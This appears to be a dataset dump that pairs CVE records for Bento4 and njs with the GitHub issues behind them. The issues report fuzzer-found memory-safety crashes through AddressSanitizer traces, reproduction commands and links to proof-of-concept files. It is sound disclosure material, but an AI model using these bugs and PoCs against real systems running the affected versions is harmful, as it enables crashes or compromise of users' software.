READ of size 16 at 0x7f40eb8c67f0 thread T0
#0 0x495649 in __asan_memcpy (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x495649)
#1 0x5310a1 in njs_json_parse_iterator_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:1008:24
#2 0x5310a1 in njs_json_parse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:966:15
#3 0x5310a1 in njs_json_parse /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:163:16
#4 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#5 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#6 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#7 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#8 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#9 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#10 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#11 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#12 0x7f40eedea0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
#13 0x41dabd in _start (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x41dabd)
0x7f40eb8c67f0 is located 524272 bytes inside of 1076024-byte region [0x7f40eb846800,0x7f40eb94d338)
freed by thread T0 here:
#0 0x495f7d in free (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x495f7d)
#1 0x51dd3e in njs_array_convert_to_slow_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:164:5
#2 0x4d7f9d in njs_array_property_query /home/q1iq/Documents/origin/njs_f65981b/src/njs_value.c:779:19
#3 0x4d7f9d in njs_object_property_query /home/q1iq/Documents/origin/njs_f65981b/src/njs_value.c:663:27
#4 0x4d7f9d in njs_property_query /home/q1iq/Documents/origin/njs_f65981b/src/njs_value.c:622:15
#5 0x530d9d in njs_json_parse_iterator /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:918:19
#6 0x530d9d in njs_json_parse /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:163:16
#7 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#8 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#9 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#10 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#11 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#12 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#13 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#14 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#15 0x7f40eedea0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
previously allocated by thread T0 here:
#0 0x496c97 in posix_memalign (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x496c97)
#1 0x61f62c in njs_memalign /home/q1iq/Documents/origin/njs_f65981b/src/njs_malloc.c:39:11
#2 0x4cf6a0 in njs_mp_alloc_large /home/q1iq/Documents/origin/njs_f65981b/src/njs_mp.c:588:13
#3 0x51ea7d in njs_array_expand /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:389:13
#4 0x51e8bb in njs_array_add /home/q1iq/Documents/origin/njs_f65981b/src/njs_array.c:331:11
#5 0x534c5f in njs_json_parse_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:515:15
#6 0x534c5f in njs_json_parse_value /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:308:16
#7 0x534c2e in njs_json_parse_array /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:510:13
#8 0x534c2e in njs_json_parse_value /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:308:16
#9 0x5304ba in njs_json_parse /home/q1iq/Documents/origin/njs_f65981b/src/njs_json.c:146:9
#10 0x53c9ec in njs_function_native_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:739:11
#11 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#12 0x53be8a in njs_function_lambda_call /home/q1iq/Documents/origin/njs_f65981b/src/njs_function.c:703:11
#13 0x4e50ab in njs_vmcode_interpreter /home/q1iq/Documents/origin/njs_f65981b/src/njs_vmcode.c:788:23
#14 0x4df06a in njs_vm_start /home/q1iq/Documents/origin/njs_f65981b/src/njs_vm.c:553:11
#15 0x4c7f69 in njs_process_script /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:890:19
#16 0x4c73a1 in njs_process_file /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:619:11
#17 0x4c73a1 in main /home/q1iq/Documents/origin/njs_f65981b/src/njs_shell.c:303:15
#18 0x7f40eedea0b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-use-after-free (/home/q1iq/Documents/origin/njs_f65981b/build/njs+0x495649) in __asan_memcpy
Shadow bytes around the buggy address:
0x0fe89d710ca0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710cb0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710cc0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710cd0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710ce0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
=>0x0fe89d710cf0: fd fd fd fd fd fd fd fd fd fd fd fd fd fd[fd]fd
0x0fe89d710d00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710d10: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710d20: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710d30: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0fe89d710d40: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==560434==ABORTING
```
### Credit
Q1IQ(@Q1IQ)
|
illegal memory copy in njs_json_parse_iterator_call of njs_json.c:1008
|
https://api.github.com/repos/nginx/njs/issues/480/comments
| 0 |
2022-03-02T11:45:19Z
|
2022-05-04T23:59:07Z
|
https://github.com/nginx/njs/issues/480
| 1,157,082,696 | 480 |
CVE-2022-3784
|
2022-10-31T21:15:12.497
|
A vulnerability classified as critical was found in Axiomatic Bento4 5e7bb34. Affected by this vulnerability is the function AP4_Mp4AudioDsiParser::ReadBits of the file Ap4Mp4AudioInfo.cpp of the component mp4hls. The manipulation leads to heap-based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-212563.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9849116/mp42hls_ReadBits_Ap4Mp4AudioInfo66.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/806"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212563"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/806
|
[
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
Hi, there.
There is an heap overflow in ReadBits, Ap4Mp4AudioInfo.cpp:66, in the newest master branch 5e7bb34a08272c49242196eba1cefab8af55f381, which seems to be incomplete fix of issue #194.
Here is the reproducing command:
~~~~
mp42hls poc
~~~~
POC:
[mp42hls_ReadBits_Ap4Mp4AudioInfo66.zip](https://github.com/axiomatic-systems/Bento4/files/9849116/mp42hls_ReadBits_Ap4Mp4AudioInfo66.zip)
(unzip first)
Here is the reproduce trace reported by ASAN:
~~~~
==64087==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000275 at pc 0x000000511365 bp 0x7fff4cecb370 sp 0x7fff4cecb368
READ of size 1 at 0x602000000275 thread T0
#0 0x511364 in AP4_Mp4AudioDsiParser::ReadBits(unsigned int) /benchmark/Bento4/Source/C++/Codecs/Ap4Mp4AudioInfo.cpp:66:56
#1 0x511a50 in AP4_Mp4AudioDecoderConfig::ParseExtension(AP4_Mp4AudioDsiParser&) /benchmark/Bento4/Source/C++/Codecs/Ap4Mp4AudioInfo.cpp:159:20
#2 0x513cdb in AP4_Mp4AudioDecoderConfig::Parse(unsigned char const*, unsigned int) /benchmark/Bento4/Source/C++/Codecs/Ap4Mp4AudioInfo.cpp:317:30
#3 0x5a093c in AP4_Mpeg2TsAudioSampleStream::WriteSample(AP4_Sample&, AP4_DataBuffer&, AP4_SampleDescription*, bool, AP4_ByteStream&) /benchmark/Bento4/Source/C++/Core/Ap4Mpeg2Ts.cpp:442:44
#4 0x50991a in WriteSamples(AP4_Mpeg2TsWriter*, PackedAudioWriter*, AP4_Track*, SampleReader*, AP4_Mpeg2TsWriter::SampleStream*, AP4_Track*, SampleReader*, AP4_Mpeg2TsWriter::SampleStream*, unsigned int, unsigned char) /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1274:40
#5 0x50991a in main /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:2188:14
#6 0x7efd53469082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#7 0x41d8ed in _start ( /benchmark/Bento4/build-a/mp42hls+0x41d8ed)
0x602000000275 is located 0 bytes to the right of 5-byte region [0x602000000270,0x602000000275)
allocated by thread T0 here:
#0 0x4f8017 in operator new[](unsigned long) /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/asan_new_delete.cpp:102:3
#1 0x560ebf in AP4_DataBuffer::AP4_DataBuffer(void const*, unsigned int) /benchmark/Bento4/Source/C++/Core/Ap4DataBuffer.cpp:68:20
#2 0x5a093c in AP4_Mpeg2TsAudioSampleStream::WriteSample(AP4_Sample&, AP4_DataBuffer&, AP4_SampleDescription*, bool, AP4_ByteStream&) /benchmark/Bento4/Source/C++/Core/Ap4Mpeg2Ts.cpp:442:44
#3 0x50991a in WriteSamples(AP4_Mpeg2TsWriter*, PackedAudioWriter*, AP4_Track*, SampleReader*, AP4_Mpeg2TsWriter::SampleStream*, AP4_Track*, SampleReader*, AP4_Mpeg2TsWriter::SampleStream*, unsigned int, unsigned char) /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:1274:40
#4 0x50991a in main /benchmark/Bento4/Source/C++/Apps/Mp42Hls/Mp42Hls.cpp:2188:14
#5 0x7efd53469082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
SUMMARY: AddressSanitizer: heap-buffer-overflow /benchmark/Bento4/Source/C++/Codecs/Ap4Mp4AudioInfo.cpp:66:56 in AP4_Mp4AudioDsiParser::ReadBits(unsigned int)
Shadow bytes around the buggy address:
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa fd fd
0x0c047fff8010: fa fa 04 fa fa fa fd fd fa fa 00 05 fa fa 05 fa
0x0c047fff8020: fa fa 06 fa fa fa 00 fa fa fa fd fd fa fa 04 fa
0x0c047fff8030: fa fa fd fa fa fa fd fa fa fa 01 fa fa fa 00 00
=>0x0c047fff8040: fa fa 00 00 fa fa 05 fa fa fa 00 04 fa fa[05]fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8070: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8080: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8090: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==64087==ABORTING
~~~~
|
Heap overflow in mp4hls, ReadBits, Ap4Mp4AudioInfo.cpp:66
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/806/comments
| 0 |
2022-10-24T06:03:44Z
|
2023-05-29T02:38:17Z
|
https://github.com/axiomatic-systems/Bento4/issues/806
| 1,420,268,717 | 806 |
CVE-2022-3785
|
2022-10-31T21:15:12.577
|
A vulnerability, which was classified as critical, has been found in Axiomatic Bento4. Affected by this issue is the function AP4_DataBuffer::SetDataSize of the component Avcinfo. The manipulation leads to heap-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-212564.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 6.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9658653/POC_avcinfo_15644345.zip"
},
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/780"
},
{
"source": "[email protected]",
"tags": [
"Permissions Required",
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212564"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/780
|
[
"Exploit",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# Summary
Hi, developers of Bento4:
I tested the binary Avcinfo with my fuzzer, and a crash incurred—heap-buffer-overflow. The following is the details. I think this error is different from both #731 and #610.
# Bug
Detected heap-buffer-overflow in Avcinfo.
```
root@4w41awdas71:/# ./Bento4/cmakebuild/avcinfo fuzz-avcinfo/out/crashes/POC_avcinfo_15644345
=================================================================
==708228==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000000011 at pc 0x0000004fb133 bp 0x7ffea9099cb0 sp 0x7ffea9099ca8
READ of size 1 at 0x602000000011 thread T0
#0 0x4fb132 in main (/Bento4/cmakebuild/avcinfo+0x4fb132)
#1 0x7fa90b673c86 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21c86)
#2 0x41d5a9 in _start (/Bento4/cmakebuild/avcinfo+0x41d5a9)
0x602000000011 is located 0 bytes to the right of 1-byte region [0x602000000010,0x602000000011)
allocated by thread T0 here:
#0 0x4f58a8 in operator new[](unsigned long) /llvm-project/compiler-rt/lib/asan/asan_new_delete.cpp:102
#1 0x4fb503 in AP4_DataBuffer::SetDataSize(unsigned int) (/Bento4/cmakebuild/avcinfo+0x4fb503)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/Bento4/cmakebuild/avcinfo+0x4fb132) in main
Shadow bytes around the buggy address:
0x0c047fff7fb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c047fff8000: fa fa[01]fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==708228==ABORTING
```
# POC
[POC_avcinfo_15644345.zip](https://github.com/axiomatic-systems/Bento4/files/9658653/POC_avcinfo_15644345.zip)
# Environment
Ubuntu 18.04.6 LTS (docker)
clang 12.0.1
clang++ 12.0.1
Bento4 master branch(5b7cc25) && Bento4 release version([1.6.0-639](https://www.bok.net/Bento4/binaries/Bento4-SDK-1-6-0-639.x86_64-unknown-linux.zip))
# Credit
Xudong Cao ([NCNIPC of China](http://www.nipc.org.cn/))
Jiayuan Zhang ([NCNIPC of China](http://www.nipc.org.cn/))
Han Zheng ([NCNIPC of China](http://www.nipc.org.cn/), [Hexhive](http://hexhive.epfl.ch/))
Thank you for your time!
|
A heap-buffer-overflow in Avcinfo
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/780/comments
| 3 |
2022-09-27T18:09:33Z
|
2023-05-29T02:51:16Z
|
https://github.com/axiomatic-systems/Bento4/issues/780
| 1,388,166,902 | 780 |
CVE-2022-3807
|
2022-11-01T20:15:22.120
|
A vulnerability was found in Axiomatic Bento4. It has been rated as problematic. Affected by this issue is some unknown functionality of the component Incomplete Fix CVE-2019-13238. The manipulation leads to resource consumption. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-212660.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9820612/mp42aac_exhaustive_AP4_RtpAtom50.zip"
},
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/803"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212660"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:-:*:*:*:*:*:*:*",
"matchCriteriaId": "C9F13899-4DE7-4BC0-8E7F-8795F58AA99F",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/803
|
[
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
A memory allocation failure unhandled in Ap4RtpAtom.cpp and leads to crashes. This seems to be an incomplete fix of issue #396, CVE-2019-13238.
`./mp42aac input_file /dev/null`
In file Source/C++/Core/Ap4RtpAtom.cpp
<img width="929" alt="image" src="https://user-images.githubusercontent.com/7632714/196694985-02cb68d8-62b7-44e4-ac8a-01137ddd038e.png">
AP4_RtpAtom allocate a new buffer to parse the atom in the stream.
The unhandled memory allocation failure cause the read content memcpy to a null pointer.
The rest of issue seems be similar with previous issue.
Asan trace report:
~~~~
==725001==WARNING: AddressSanitizer failed to allocate 0xffffffffff00025b bytes
=================================================================
==725001==ERROR: AddressSanitizer: allocator is out of memory trying to allocate 0xffffffffff00025b bytes
#0 0x4f7fb7 in operator new[](unsigned long) /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/asan_new_delete.cpp:102:3
#1 0x652e4a in AP4_RtpAtom::AP4_RtpAtom(unsigned int, AP4_ByteStream&) /benchmark/Bento4/Source/C++/Core/Ap4RtpAtom.cpp:50:25
==725001==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: out-of-memory /dependence/llvm11/llvm-11.0.0.src/projects/compiler-rt/lib/asan/asan_new_delete.cpp:102:3 in operator new[](unsigned long)
==725001==ABORTING
~~~~
[mp42aac_exhaustive_AP4_RtpAtom50.zip](https://github.com/axiomatic-systems/Bento4/files/9820612/mp42aac_exhaustive_AP4_RtpAtom50.zip)
(unzip first)
|
Incomplete fix of CVE-2019-13238, Exhaustive memory misunhandle
|
https://api.github.com/repos/axiomatic-systems/Bento4/issues/803/comments
| 0 |
2022-10-19T12:55:56Z
|
2022-10-19T12:55:56Z
|
https://github.com/axiomatic-systems/Bento4/issues/803
| 1,414,926,196 | 803 |
CVE-2022-3812
|
2022-11-01T22:15:12.027
|
A vulnerability was found in Axiomatic Bento4. It has been rated as problematic. Affected by this issue is the function AP4_ContainerAtom::AP4_ContainerAtom of the component mp4encrypt. The manipulation leads to memory leak. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-212678 is the identifier assigned to this vulnerability.
|
{
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "[email protected]",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "LOW",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:L",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 1.4,
"source": "[email protected]",
"type": "Secondary"
}
]
}
|
[
{
"source": "[email protected]",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/files/9726934/POC_mp4encrypt_631000973.zip"
},
{
"source": "[email protected]",
"tags": [
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/axiomatic-systems/Bento4/issues/792"
},
{
"source": "[email protected]",
"tags": [
"Third Party Advisory"
],
"url": "https://vuldb.com/?id.212678"
}
] |
[
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:axiosys:bento4:1.6.0-639:*:*:*:*:*:*:*",
"matchCriteriaId": "A003FBD1-339C-409D-A304-7FEE97E23250",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] |
https://github.com/axiomatic-systems/Bento4/issues/792
|
[
"Issue Tracking",
"Third Party Advisory"
] |
github.com
|
[
"axiomatic-systems",
"Bento4"
] |
# **Summary**
Hi, developers of Bento4,
I tested the binary of bento4 with my fuzzer, and some memory-leak crashes incurred. Among them, Bug3-5 may be different from #771. The operation system is Ubuntu 18.04.6 LTS (docker), these crashes with the following.
# **Bug1**
Detected memory leaks in mp4encrypt, the bug may be different from #766.
```
root@q10s3kl5mn:/fuzz-mp4encrypt/mp4encrypt# ./mp4encrypt --method OMA-PDCF-CBC POC_mp4encrypt_631000973 /dev/null
WARNING: track ID 3 will not be encrypted
WARNING: track ID 4 will not be encrypted
WARNING: track ID 1 will not be encrypted
WARNING: track ID 2 will not be encrypted
WARNING: atom serialized to fewer bytes than declared size
WARNING: atom serialized to fewer bytes than declared size
=================================================================
==586357==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 144 byte(s) in 2 object(s) allocated from:
#0 0x9a1c90 in malloc /llvm-project/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x7f40270a9297 in operator new(unsigned long) (/usr/lib/x86_64-linux-gnu/libstdc++.so.6+0x93297)
